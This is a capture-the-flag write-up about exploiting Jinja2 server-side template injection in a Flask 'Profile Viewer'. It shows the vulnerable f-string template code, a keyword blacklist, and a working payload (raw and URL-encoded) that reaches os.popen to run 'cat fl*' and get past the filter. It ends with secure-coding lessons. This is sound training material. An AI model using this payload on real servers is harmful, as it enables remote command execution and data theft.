109 lines
4.4 KiB
Markdown
109 lines
4.4 KiB
Markdown
# Render Me This
|
|
|
|
Welcome to the write-up for **Render Me This**. This challenge falls under the "web" category and demonstrates a severe vulnerability found in modern web frameworks known as **Server-Side Template Injection (SSTI)**.
|
|
|
|
We are presented with a "Profile Viewer" application that takes a user's name and renders a custom greeting. Our goal is to exploit the rendering engine to read the flag from the server.
|
|
|
|
---
|
|
|
|
## 1. Initial Reconnaissance
|
|
|
|
The challenge provides us with a URL and the source code. When we visit the site, we see a simple page greeting "Guest".
|
|
|
|
The URL likely looks like this:
|
|
`http://challenge-url/?name=Guest`
|
|
|
|
If we change the `name` parameter to `Test`, the page updates to say "Hello, Test!". This confirms that our input is being reflected on the page.
|
|
|
|
## 2. Source Code Analysis
|
|
|
|
Let's examine the provided `app.py` to understand how the page is generated.
|
|
|
|
```python
|
|
@app.route('/')
|
|
def index():
|
|
# Get the 'name' parameter
|
|
name = request.args.get('name', 'Guest')
|
|
|
|
# 1. Check for Blacklisted words
|
|
for bad_word in BLACKLIST:
|
|
if bad_word in name.lower():
|
|
return "Hacker detected! ..."
|
|
|
|
# 2. Vulnerable Template Construction
|
|
template = f'''
|
|
...
|
|
<h1>Hello, {name}!</h1>
|
|
...
|
|
'''
|
|
|
|
# Render the template
|
|
return render_template_string(template)
|
|
```
|
|
|
|
### The Vulnerability: SSTI
|
|
The critical flaw is in how the `template` string is constructed. The developer uses a Python f-string (`f'''... {name} ...'''`) to insert the user's input *directly into the template source code* before passing it to `render_template_string`.
|
|
|
|
In Flask (Jinja2), `{{ ... }}` is used to execute code within a template. By injecting `{{ 7*7 }}`, we can ask the server to calculate 7*7. If the page displays "49", we have code execution.
|
|
|
|
### The Obstacle: The Blacklist
|
|
The application attempts to secure itself with a blacklist:
|
|
`BLACKLIST = ["config", "self", "flag"]`
|
|
|
|
This means we cannot use the standard SSTI payloads like `{{ config }}` or `{{ self.__dict__ }}`. We also cannot simply run `cat flag.txt` because the word "flag" is forbidden.
|
|
|
|
## 3. Developing the Exploit
|
|
|
|
We need to find a way to access the Python `os` module to run system commands, without using the blacklisted words.
|
|
|
|
In Python web frameworks like Flask, the `request` object is often available in the template context. Through `request`, we can traverse the Python object hierarchy to reach the global scope and import modules.
|
|
|
|
**Step 1: Accessing Built-ins**
|
|
We can use the `request` object to access the global scope:
|
|
`request.application.__globals__`
|
|
|
|
From there, we can access Python's built-in functions:
|
|
`request.application.__globals__.__builtins__`
|
|
|
|
**Step 2: Importing OS**
|
|
Now we can use the `__import__` function to load the `os` module:
|
|
`request.application.__globals__.__builtins__.__import__('os')`
|
|
|
|
**Step 3: Executing Commands**
|
|
With the `os` module, we can use `popen` to execute shell commands and `read` to get the output:
|
|
`.popen('ls').read()`
|
|
|
|
**Step 4: Bypassing the "flag" Filter**
|
|
If we try to run `cat flag.txt`, the application will block us because it contains "flag".
|
|
We can bypass this using shell wildcards. instead of `flag.txt`, we can say `fl*`.
|
|
`cat fl*` matches `flag.txt` but doesn't contain the forbidden string "flag".
|
|
|
|
## 4. The Final Payload
|
|
|
|
Putting it all together, our payload looks like this:
|
|
|
|
`{{ request.application.__globals__.__builtins__.__import__('os').popen('cat fl*').read() }}`
|
|
|
|
We need to URL-encode this payload before sending it to the server.
|
|
|
|
**Encoded URL:**
|
|
`?name=%7B%7B%20request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20fl*%27).read()%20%7D%7D`
|
|
|
|
## 5. The Solution
|
|
|
|
Sending the payload to the server executes the command, reads the flag file, and renders the result on the page.
|
|
|
|
**Flag:** `{flag:SSTI_Is_Pow3rful_Even_With_Basic_Filters}`
|
|
|
|
---
|
|
|
|
## Lessons Learned
|
|
|
|
* **Context Matters:** Never concatenate user input directly into a template string.
|
|
* **Use the Framework Correctly:** Always pass data as context variables to the render function.
|
|
* *Vulnerable:* `render_template_string(f"Hello {name}")`
|
|
* *Secure:* `render_template_string("Hello {{ name }}", name=user_input)`
|
|
* **Blacklists Fail:** trying to block specific words ("flag", "config") is rarely effective. Hackers can almost always find a way around them (e.g., string concatenation, encoding, wildcards).
|
|
|
|
Happy Hacking!
|